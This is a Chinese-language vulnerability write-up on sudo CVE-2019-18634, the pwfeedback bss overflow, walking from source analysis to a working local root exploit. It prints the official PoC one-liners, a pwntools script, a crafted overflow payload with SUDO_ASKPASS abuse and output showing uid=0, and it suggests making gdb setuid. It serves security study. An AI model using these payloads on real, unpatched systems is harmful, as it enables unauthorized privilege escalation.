在这篇文章中,我们将对近期刚刚修复sudo程序漏洞(CVE-2019-18634)进行分析,该漏洞需要在开启pwfeedback选项才能出发,一旦成功利用,攻击者将有可能实现本地提权。影响版本 1.7.1 - 1.8.30
接下来,我们将对该漏洞进行分析。
环境配置
- ubuntu 1804 vmware 虚拟机
- sudo 1.8.25 版本
- gdb(pwndbg 插件), pwntools
后面的分析都会在以上的环境下进行
漏洞分析
pwfeedback 选项
pwfeedback,也就是 password feedback,开启之后在输入密码的时候会有视觉反馈,显示*
号, 如下图, 默认情况下不会开启,某些Linux发行版本(Linux Mint和Elementary OS)会默认开启这个选项
开启的方法是在/etc/sudoers
文件中添加一行Defaults pwfeedback
编译 sudo 1.8.25
下载sudo 1.8.25 版本的源码
wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz
tar 解包之后进入源码目录按照默认选项编译安装即可
./configure ;make -j16 ; make install
在测试过程中,系统自带的sudo是 1.8.21p1
版本, 安装位置在 /usr/bin/sudo
自己编译的版本安装位置在 /usr/local/bin/sudo
从poc定位漏洞点
官方给出了两个 poc, poc1
适用 sudo 1.8.25p1
以下的版本, poc2
则适用sudo 1.8.26 - 1.8..30
, 下面我们将从漏洞触发定位到漏洞代码,并分析漏洞的成因poc1
perl -e 'print(("A" x 100 . "x{00}") x 50)' | sudo -S id
Password: Segmentation fault
poc2
$ socat pty,link=/tmp/pty,waitslave exec:"python -c 'print(("A"*100+chr(0x15))*50)'" &
$ sudo -S id < /tmp/pty
先看 poc1, sudo -S
表示从标准输入读取密码,密码这里传入的是50个 "AAAAA....x00"
, 然后直接段错误
为了方便定位漏洞,我们可以用 asan
重新编译一下程序, 配置的时候加上--enabble-asan
选项即可
make clean ; ./configure --enable-asan ; make -j16 ; make install
运行 poc 之后可以看到下面的输出
从错误输出可以看出,最后的漏洞触发点是在tgetpass.c
的 getln
函数上,对应345
行。 我们继续看看代码,这里对一些关系不大的代码做了删减。
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz; //256
ssize_t nr = -1;
char *cp = buf;
char c = '';
while (--left) {
nr = read(fd, &c, 1);//读取密码
if (nr != 1 || c == 'n' || c == 'r')
break;
if (feedback) {
// pwfeedback 开启时
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "b b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
} else if (c == sudo_term_erase) {
if (cp > buf) {
if (write(fd, "b b", 3) == -1)
break;
--cp;
left++;
}
continue;
}
ignore_result(write(fd, "*", 1));
}
*cp++ = c;// <== 345
}
...
}
getln
函数的作用是获取一行的密码输入,用于后序的校验。
从代码可以看出,这里是一个while 循环,每次读取一个字符,在 pwfeedback
没有开启的时候,会将字符拷贝到 buf
里
打开pwfeedback
后,会有sudo_term_kill
和sudo_term_erase
两个判断
在lib/util/term.c
中可以找到它们的赋值点, 这里的term.c_cc
是终端的termios
配置, 具体可以参考这个网址
sudo_term_erase = term.c_cc[VERASE];
sudo_term_kill = term.c_cc[VKILL];
也可以用stty -a
命令查看当前的终端配置
kill char
和终端的ctrl+U
快捷键对应,会删除当前行的所有字符。对应前面的代码如下, cp
是已经读取字符的指针,buf
是起始地址,b
和backspace
键对应,"b b"
相当于删除一个字符,于是这个while 循环结束之后,cp
会回到buf
的位置,也就是删除一行了。
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "b b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
这里也是漏洞触发点所在。因为poc1
并不是在终端获取输入流,而是从管道,这里term.c_cc[VKILL]
会保持初始化的值,也就是x00
, 所以传入x00
的时候会进入这段代码,但是这个管道是单向管道,往管道写"b b"
会失败然后break出while循环,问题也就是出现在这里,跳出while (cp > buf)
这个循环之后,cp
的位置没有改变,但是可以读取的最大字符数left
又变成了bufsiz
(从代码可找到是256).
所以只要不断传入类似"xxx...x00"
的字符串,就可以不断向 buf
里写东西,造成buf溢出。
okay, 理解了poc1
的触发原理,那么我们再来看poc2
就十分的简单了。
使用 poc2
的原因是在sudo 1.8.26
中加入了对 EOF的处理,于是poc1
就不管用了
if (c == sudo_term_eof) {
nr = 0;
break;
但是如果是从终端获取输入流,也就是我们说的pty,情况就不一样了,我们可以在维基百科中找到eof
和kill
控制符对应的ascii. eof( EOT, ^D End-of-file character)
对应的ascii为0x04, kill为 0x15。 如果从pty获取输入流,那么这个漏洞就又复活了。
对应的 poc
socat pty,link=/tmp/pty,waitslave exec:"python -c 'print(("A"*100+chr(0x15))*50)'" &
$ sudo -S id < /tmp/pty
这里创建了一个临时的 pty, 然后还是将 payload 通过 pty 传到 sudo即可
接下来我们就来看看如何对这个漏洞进行利用。
调试
在分析的时候,查看内存是必不可少的,这里的做法是使用 gdb 结合 pwntools来调试
poc2
对应的 py 代码如下
import sys,os
from pwn import *
TARGET=os.path.realpath("/usr/local/bin/sudo")
mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)
p = process([TARGET,"-S", "id"],stdin=fd)
pause()
payload = ("A"*100+"x15")*50
os.write(mfd, payload+"n")
pause()
sys.exit(0)
运行上面这段代码,等 pause()
的使用再用 gdb attach进程即可
这里需要注意sudo运行时是root权限,所以gdb也需要用root权限运行,可以使用root用户或者给gdb添加 s权限chmod 4777 /usr/bin/gdb
漏洞利用
从前面的分析可以知道漏洞是可以溢出写buf,那么我们首先要要出buf在哪里
static const char *askpass;
static char buf[SUDO_CONV_REPL_MAX + 1];// 255+1
int i, input, output, save_errno, neednl = 0, need_restart;
debug_decl(tgetpass, SUDO_DEBUG_CONV)
buf 在 tgetpass
函数定义,是static
类型,存放在内存的bss段上,所以可能可以溢出覆盖bss的一些内容
ida找一下引用可以看到 buf
高地址的一些变量,其中 singo
表示运行时的一些信号,正常运行时值为0
tgetpass_flags
是sudo的一些标识位,一些功能的启用与否等. askpass
和 user_details
比较重要,我们看看它们是如何被使用的
user_details变量
user_details
字段保存的是用户的一些身份信息,如 uid, pid 等,
askpass
askpass和sudo -A
选项有关,作用是可以选择一个外部程序来传入密码。
具体的流程是
- 1 环境变量
SUDO_ASKPASS
指定外部程序地址 - 2 sudo 运行加上
-A
选项,程序里面会设置TGP_ASKPASS
标识 - 3 fork 出一个子进程来运行外部程序,父进程接收子进程的输出作为密码
具体代码在 tgetpass
函数开始处找到
if (askpass == NULL) {
askpass = getenv_unhooked("SUDO_ASKPASS");
if (askpass == NULL || *askpass == '')
askpass = sudo_conf_askpass_path();
}
...
/* If using a helper program to get the password, run it instead. */
if (ISSET(flags, TGP_ASKPASS)) {
if (askpass == NULL || *askpass == '')
sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
debug_return_str_masked(sudo_askpass(askpass, prompt));
}
功能的具体实现可以在sudo_askpass
函数找到
static char *
sudo_askpass(const char *askpass, const char *prompt)
{
...
child = sudo_debug_fork();
if (child == 0) {
// 子进程运行外部程序
if (setuid(ROOT_UID) == -1)
sudo_warn("setuid(%d)", ROOT_UID);
if (setgid(user_details.gid)) {
sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
_exit(255);
}
if (setuid(user_details.uid)) {
sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
_exit(255);
}
closefrom(STDERR_FILENO + 1);
//
execl(askpass, askpass, prompt, (char *)NULL);
sudo_warn(U_("unable to run %s"), askpass);
_exit(255);
}
//父进程从子进程获取输入流,
/* Get response from child (askpass). */
pass = getln(pfd[0], buf, sizeof(buf), 0);
/* Wait for child to exit. */
for (;;) {
pid_t rv = waitpid(child, &status, 0);
}
sudo_askpass
会fork出一个子进程来运行外部程序,子进程的输出作为父进程的输入,这使用会调用 getln
函数,但并不会启用pwfeedback
机制。
子进程的权限通过user_details.uid
和user_details.gid
来设置,这两个值我们是可以通过漏洞改写掉的,也就是说我们可以通过这里用root权限来运行程序
漏洞利用
okay 我们整理一下当前获取到的点
- 1 在不使用
askpass
的情况下会使用pwfeedback
- 2 用
pwfeedback
的漏洞可以修改user_details
的uid和gid - 3
askpass
可以根据user_details
的uid和gid运行外部程序
我们知道,默认情况下 sudo -s
可以有三次输入密码的机会,这个也是可以利用的点,基本利用流程如下
- 1 设置环境变量
SUDO_ASKPASS
指定外部程序,不加-A
选项 - 2 利用 漏洞将
user_details
的 pid 和 gid 覆盖成 0 , 并启用askpass
功能(TGP_ASKPASS flags) - 3 第二次输入密码 ,root 权限运行外部程序
漏洞利用的代码可以参考iamalsaher的代码
这里我给出自己的利用过程作为参考
prb@prbvv:~/sudo-cve-2019-18634$ cat aa.sh
#!/bin/bash
id > end
prb@prbvv:~/sudo-cve-2019-18634$ python -c "from pwn import *;print 'x00x15'*548+p64(6)+'x00x15'*20+p64(0)*2+p32(0)+'x00'*3+'n'" > poc
prb@prbvv:~/sudo-cve-2019-18634$ socat pty,link=/tmp/pty,waitslave exec:"cat /home/prb/sudo-cve-2019-18634/poc" &
[1] 2380
prb@prbvv:~/sudo-cve-2019-18634$ SUDO_ASKPASS=/home/prb/sudo-cve-2019-18634/aa.sh sudo -S id < /tmp/pty
密码:
对不起,请重试。
sudo: 1 次错误密码尝试
prb@prbvv:~/sudo-cve-2019-18634$ cat end
uid=0(root) gid=1000(prb) 组=1000(prb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
[1]+ 已完成 socat pty,link=/tmp/pty,waitslave exec:"cat /home/prb/sudo-cve-2019-18634/poc"
prb@prbvv:~/sudo-cve-2019-18634$ ls
aa.sh e1xp.py end exp.py exp.sh mm poc sudo sudo-1.8.25 sudo-1.8.25.tar.gz
小结
CVE-2019-18634 是一个 bss变量溢出漏洞,只有在开启 pwfeedback
机制的时候才可能触发,最终利用可以使用root权限执行任意程序,危害较大。